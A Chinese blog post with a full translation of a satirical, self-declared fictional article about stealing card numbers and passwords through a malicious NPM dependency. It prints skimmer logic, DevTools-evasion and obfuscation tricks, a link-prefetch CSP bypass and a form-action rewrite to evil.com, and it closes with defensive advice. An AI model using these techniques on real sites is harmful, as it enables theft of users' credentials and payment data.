看到一篇有趣的文章 I’m harvesting credit card numbers and passwords from your site. Here’s how,讲的是通过在 NPM 包里隐藏恶意代码窃取其他网站的用户数据。
初看有点像之前的利用拼写错误的文章,如 Typosquatting programming language package managersComposer typosquatting vulnerability
不过仔细看过后发现重点是利用 NPM 包的依赖关系,而且文中的一些手法也接触过或研究过,下面摘取部分感兴趣的分析下。

Lucky for me, we live in an age where people install npm packages like they’re popping pain killers.

NPM 依赖非常混乱,贴两个例子,知名 NPM 包 i@0.3.2 被作者意外删除,预计未来将有很多 NPM 将无法被安装NPM 事件引发了代码复用的争议
正如 Solidot 的文章中所说,「NPM 生态系统中的许多开发者看起来宁愿复用其他人写好的代码而不是自己写。这种做法存在严重的安全隐患,因为一个被广泛使用的软件包存在 bug,你的代码也会受到影响,而你却无法自己去修正」。
加之 NPM 一直缺少有效的安全检查机制,所以某个 Package 中包含隐藏多年的后门是很有可能的。

I’d notice the network requests going out!
Where would you notice them? My code won’t send anything when the DevTools are open.

I read the minified source of all code in node_modules!
OK now you’re just making up objections. But maybe you’re thinking you could write
something clever that automatically checks code for anything suspicious.

恶意代码在检测到 DevTools 打开时将不会发起任何请求,而且经过混淆后可以避免被自动化安全扫描工具发现。
这部分内容在我之前写的 JavaScript 反调试和混淆 中有提到。

I’d notice the network requests going out!
I call this the Heisenberg Manoeuvre: by trying to observe the behaviour of my code, you change the behaviour of my code.

It also stays silent when running on localhost or any IP address, or
where the domain contains dev, test, qa, uat or staging (surrounded by \b word boundaries).

Our penetration testers would see it in their HTTP request monitoring tools!
What hours do they work? My code doesn’t send anything between 7am and 7pm.
It halves my haul, but 95% reduces my chances of getting caught.

And I only need your credentials once. So after I’ve sent a request
for a device I make a note of it (local storage and cookies) and never
send for that device again. Replication is not made easy.

Even if some studious little pen tester clears cookies and local
storage constantly, I only send these requests intermittently (about
one in seven times, lightly randomised — the ideal
trouble-shooting-insanity-inducing frequency).

Also the URL looks a lot like the 300 other requests to ad networks your site makes.

根据运行环境恶意代码有不同的(随机)行为,避开工作时间,伪装成正常请求,
与 呆子不开口的 POC 链接的反分析 有异曲同工之妙。

poc_hide.png

I have a Content Security Policy!
Oh, do you now.

And did somebody tell you that this would prevent malicious code from
sending data off to some dastardly domain? I hate to be the bearer of
bad news, but the following four lines of code will glide right
through even the strictest content security policy.

CSP 看起来是个不错的防御办法,但现在已经有太多的绕过方法了,最简单的就是用 Link Prefetching
而且由于 CSP 配置过于复杂,除了最终防线 default-src 往往被忽视外,如果忘了配置 form-action 也会导致表单提交地址能被轻易修改。

一个类似的例子 My analysis of the $1 million+ USD MyBTGWallet.com scam,黑客修改了 MyBTGWallet 网站上的 bitcoinjs.min.js 来窃取用户的私钥。


附上全文翻译(修改自 我是这样拿走大家网站上的信用卡号跟密码的):

这篇文章是个真实故事,或者是改编自真实故事,又或者只是我瞎掰的。

这个星期(译注:原文写作时,MeltdownSpectre 刚被揭露出来)根本是网络安全恐慌周,几乎每天都有新的安全漏洞被挖出来。这让我这个星期过得很辛苦,每次被家人问到发生什么事,我都得要假装自己很清楚状况。

看到身边的人因此处于「靠,我被黑了」的状况,真的让我大开眼界。

所以,我要来心情沉重的自首一下,让大家知道过去几年我怎么从你们的网站上把帐号、密码、跟信用卡号全部偷走。

恶意代码本身很简单,在符合下面条件的页面会启动:

  • 页面有 <form>
  • 有看起来像是 input[type="password"]input[type="cardnumber"]input[type="cvc"] 之类的页面元素
  • 页面有「信用卡」,「结帐」,「帐号」,「密码」之类的文字

当信用卡号/密码栏位有 blur 事件的时候,或是看到表单的 submit 事件的时候,我的程序会做这些事:

  • 抓取页面上所有表单的所有栏位里面的数据 document.forms.forEach(...)
  • 获取 document.cookie
  • 把所有数据转换成看起来很随机的字串 const payload = bota(JSON.stringfy(sensitiveUserData))
  • 把字符串发送到 https://legit-analytics.com/?q=${payload}(当然这个域名是随便写的)

总而言之,只要数据看起来有一点点用处,程序就会把数据回传到我的服务器上。

当然,我在 2015 写完这段程序的时候,它在我的电脑里面一点用都没有。我得把它扩散到外面,让它住进你的网站。

有句来自 Google 金玉良言:

If an attacker successfully injects any code at all, it's pretty much game over
如果攻击者能成功注入任何代码,差不多就等于完蛋了

攻击方式的话,XSS 规模太小,而且这方面的防御很完善。

Chrome Extension 也被限制起来了。

不过我运气很好,这年头的人装 NPM 包(Package)就跟吃止痛药一样,没人在意的。

我要是想用 NPM 作为我的散布渠道,就得做一些多少有点用,而且让人不会想太多就装起来的包,作为我的特洛伊木马。

人类喜欢看到颜色,这是人跟狗最大的差别(译注:狗是色盲)。所以我写了个可以在 console 里面用各种颜色写 log 的包:

console-color.png

我现在手上有个很吸引人的包,这让我很兴奋。但是我不想坐在那边等别人慢慢发现我的包。所以我打算主动宣传,到处发 PR,把我多采多姿的 NPM 包加到别人的依赖列表里面。

于是乎,我发了几百个 PR (用一堆不同的帐号,当然通通都不是用的 David Gilbertson 这个名字)给各种前端包,让他们把我的包加进依赖里。「嘿,我修正了这个问题,顺便加了一些 log 」。

老妈,你看!我正在为伟大的开源做出贡献呢!

当然有很多明智的人会跳出来说,他们不希望增加新的依赖包。不过这在意料之中,重点是数量。

总而言之,这次作战算成功。有 23 个包直接把我的包装进去了。而其中有个包被另一个广泛使用的包使用,这下中奖了。我就不说是哪个包了,不过你可以想成我拥有了一堆金库。

这只是其中一个,我手上还有另外六个热门包。

我的程序现在每个月被下载十二万次,我可以很骄傲的说,有不少 Alexa 排名前 1000 的大网站上面跑着我的程序,我拿到的帐号/密码/信用卡数据源源不绝。

回头来看,有点难以想像人们花这么多时间鼓捣 XSS,只为了把代码插进一个网站。现在有网页开发者们帮忙,我轻松的把程序推到成千上万个网站上面。

也许你对我公然制造恐慌有些反对意见…

我会发现有奇怪的网络请求!

你要怎么注意到有奇怪的网络请求?只要你打开 DevTool 我的程序就不会动作。就算你让它显示成独立的窗口也一样。

除此之外,如果程序跑在 localhost、或是 IP 地址、或是网址里面包涵 dev /test / qa / uat / staging(前后被 \b 包裹的中转站点),我的程序也不会动作。

这些网络请求会被我们的渗透测试人员会在 HTTP 监控工具里面抓出来!

他们的工作时间是什么时候?我的程序在早上七点到晚上七点之间不会发送任何数据,这样我收到的数据量会减半,但是能减少95%被发现的机会。

而且一个人的机密数据我只需要拿一次,所以在我发送完信息之后会在机器上做标记(用 Local Storage 或是写 Cookie),同一个设备不会发送第二次信息。

而且就算做渗透测试的人很有研究精神,真的把 Cookie 清掉重试,我也只会间歇性的发送这些资料(大约每七次会发一次,有稍微随机化。这个频率能有效地让人 debug 到想杀人)

除此之外,我的网址看起来就跟你的网站其他三百个请求会用到的网址差不多。

我的重点是,你没看到不表示事情没发生。就我所知,这两年来根本没人注意到这些请求。搞不好你的网站上早就跑着我的恶意代码 :)

(新奇有趣小知识:我在把信用卡号跟密码打包卖掉的时候,得要搜一下自己的信用卡,以免我把自己给卖掉了)

我会在 GitHub 上面发现你的恶意代码!

你这么天真可爱,让我感到一阵温暖。

但很不幸的,我完全可以在 GitHub 上贴一个版本,而 NPM 上面推送的是另一个不同的版本。

我的 package.json 里面有定义 files 属性,指到 lib 文件夹。我把 minifyuglify 过的代码放在那里面。我跑 npm publish 的时候会把这些代码推出去。但是 lib 在 .gitignore 里,所以不会被送上 GitHub。
这样的行为很常见,所以 GitHub上 的代码看起来完全不可疑。

这其实不是 NPM 的问题。就算我没有向 Github 和 NPM 推送不同版本的代码,是谁告诉你 /lib/package.min.js 一定是 /src/package.js 拿去 minify 得来的?

所以你在 GitHub 上是找不到我的邪恶代码的。

我会去读 node_modules 里面所有 minify 过的代码!

我觉得你有点为反对而反对了。不过也可能你的意思是你可以写一些厉害的东西自动检查 node_modules 里面的代码。

不过你还是没办法在我的程序里面找到什么有意义的东西。程序里面没有 fetchXMLHttpRequest 之类的字符串,也找不到我用的网址。我的 fetch 代码大概长这样:

const i = 'gfudi';
const k = s => s.split('').map(c => String.fromCharCode(c.charCodeAt() - 1)).join('');
self[k(i)](urlWithYourPreciousData);

「gfudi」是「fetch」的每个字母往后移一位。这可是正宗的密码学。

self 则是 window的别名。
self['\u0066\u0065\u0074\u0063\u0068'](...) 则是另外一种花俏的调用 fetch(...) 的方式。

重点是:很难从认真混淆过的代码里面挖出脏东西,你没机会的。

(讲是这样讲,其实我不会去用 fetch 那么俗气的东西。如果可以的话,我倾向用 new EventSource(urlWithYourPreciousData)。就算你疑心够重,会用 serviceWorker去监听 fetchevent,我还是可以偷偷摸摸地溜出去。如果浏览器支持 serviceWorker但是不支持 EventSource,我就什么都不做)

我有设定 Content Security Policy!

噢,你有设啊。

是不是有人告诉过你设定 CSP 能够避免资料被送往不该送的坏坏网址呢?我其实不喜欢破坏孩子的梦想,不过下面这四行代码就算是最严格的 CSP 也能够轻松绕过:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

(这篇文章我原本是写着好好设定 Content Security Policy 的话能够让你「百分之百安全」。很不幸,在十三万人看过这篇文章之后,我发现还有上面这一招。我想这件事的教训是,千万不要相信网络上的任何人或任何文章)

不过 CSP 也不是完全没用,上面那招只有在 Chrome 里面有用。而且严谨的 CSP 设定说不定能够在一些比较少人用的浏览器里面把我给挡下来。

如果你还不知道,Content Security Policy 能(尝试)限制浏览器能够发出的网络请求。通常这会被说成你允许浏览器载入哪些东西,不过你也可以想成这是在保护你能发送什么东西(我说的「发送」个人资料,其实也就是 GET 请求的参数而已)

如果我没办法用 prefetch 那招送出资料,CSP 对我的信用卡收集业务来说会有点棘手。这可不只是因为它会阻止我的邪恶行为而已。

如果我从有 CSP 的网站发送数据,它可能会通知网站管理员有请求发送失败(如果有指定 report-uri)。他们可能会追到我的程序,然后打电话给我妈,让我吃不了兜着走。

我做人一向低调(除非在夜店里面),所以我在发送数据之前会先检查 CSP。

我的做法是在现在的页面发一个假的本地请求,然后去读响应的 headers

fetch(document.location.href)
.then(resp => {
  const csp = resp.headers.get('Content-Security-Policy');
  // does this exist? Is is any good?
});

然后我就能开始找你的 CSP 里面的漏洞。我很意外的发现 Google 的登陆页面的 CSP 没设置好,如果我的程序跑在那上面我就能拿到你的帐号密码。他们没有设定 connect-src,而且也没有设定最终防线 default-src,所以只要我想要,我就可以开心的把你的个人数据发送出来。

如果你发一封内含十美元的信给我,我会告诉你我的代码是不是真的跑在 Google 登陆页面上。

Amazon 在你打信用卡的页面根本没设定 CSP,eBay 也一样。

Twitter 跟 PayPal 有 CSP,不过要绕过也是很简单。他们犯了一样的错误,这很可能表示有一大堆人都犯了一样的错误。他们的防护乍看之下很坚实,有设定 default-src 这个最终防线,但问题是最终防线其实有漏洞,他们没有限制 form-action

所以在我检查你的 CSP (还检查了两次)的时候,如果其他东西都被限制了,但是 form-action 没有被限制,我会直接修改页面上所有表单的 action(你按「登陆」的时候资料会发送到的地方)

Array.from(document.forms).forEach(formEl => formEl.action = '//evil.com/bounce-form');

好了,感谢你把你的 PayPal 帐号密码寄给我。我会用你的钱买一堆东西,拍张照片,然后做成感谢卡寄给你。

当然,这招只会做一次,然后把使用者重定向回原本的登陆页面,然后他们会感到迷惑,接着重新登陆一次。

(我用这招接管了川普的 Twitter 帐号,而且发了一堆乱七八糟的 sh*t,不过好像没人注意到)

好,我开始紧张了,我该怎么办?

方案一:

wild-room.png

这里很安全(译注:躲进深山老林)。

方案二:

只要页面上有你不希望我(或是跟我一样的攻击者)拿到的数据,不要用任何 NPM 套件、或是 Google Tag Manager、或是广告、或是分析、或是其他任何不是你自己写的程序。

就像是这篇文章的建议,你可能会考虑做一个轻巧独立,专门用来登入以及输入信用卡数据的页面,用 iframe 载入。

你当然可以在你的 header/footer/nav/其他地方 把你又大又棒的的 React APP 跟其他 138 个 NPM 包装进来,但是使用者输入数据的地方应该要是个包在 sandbox 里面的 iframe。如果你有需要做 client-side 验证,那里面只能跑你自己写的(而且我会建议是没有 minify 过的)JavaScript。

我很快就会贴出我把搜集到的信用卡卖给带着帅帅的帽子的帮派份子的收入的 2017 年度报告。依照法律规定,我得列出我拿到最多信用卡资料的网站,搞不好你的网站是其中一个?

不过像我这样风度翩翩的男人,只要你的网站在 1 月 12 号之前成功把我的窃取数据程序找到,我就会把你从清单移掉,让你不用被公开羞辱。

认真说

我知道我的调侃对于还在学英文的人(以及不够灵光的人)来说有点难懂。所以我要先说清楚,我并没有真的做会偷别人资料的 NPM 包。这篇文章完全是虚构的。然而,这篇文章的内容是可行的,我也希望这篇文章能有点教育意义。

虽然这篇文章是假的,但是这个套路并不难,这让我很担心。

这个世界上聪明的坏蛋很多,而且 NPM 套件有四十万个。我认为其中总是会有哪个包心怀不轨。而坏人如果把事情做好点,你很可能根本看不见查不到。

另外这有个实验,我上周写了个简单的 NPM 包,它和本文毫无关系,而且作为一个绅士我保证它不包括恶意代码,那么,你对把我这个包加进自己的网站会有多警惕呢?

总结

所以这篇文章的重点是什么?只是想要找个人指着说「啊哈哈哈你看看你超傻*」吗?

不,绝对不是(好吧,一开始是,不过我后来发现自己也蛮傻*的,我就改变路线了)

我的目的(以结果来说)只是想要指出,任何装了第三方的代码的网站都等于是开了一个大洞,而且完全检测不到。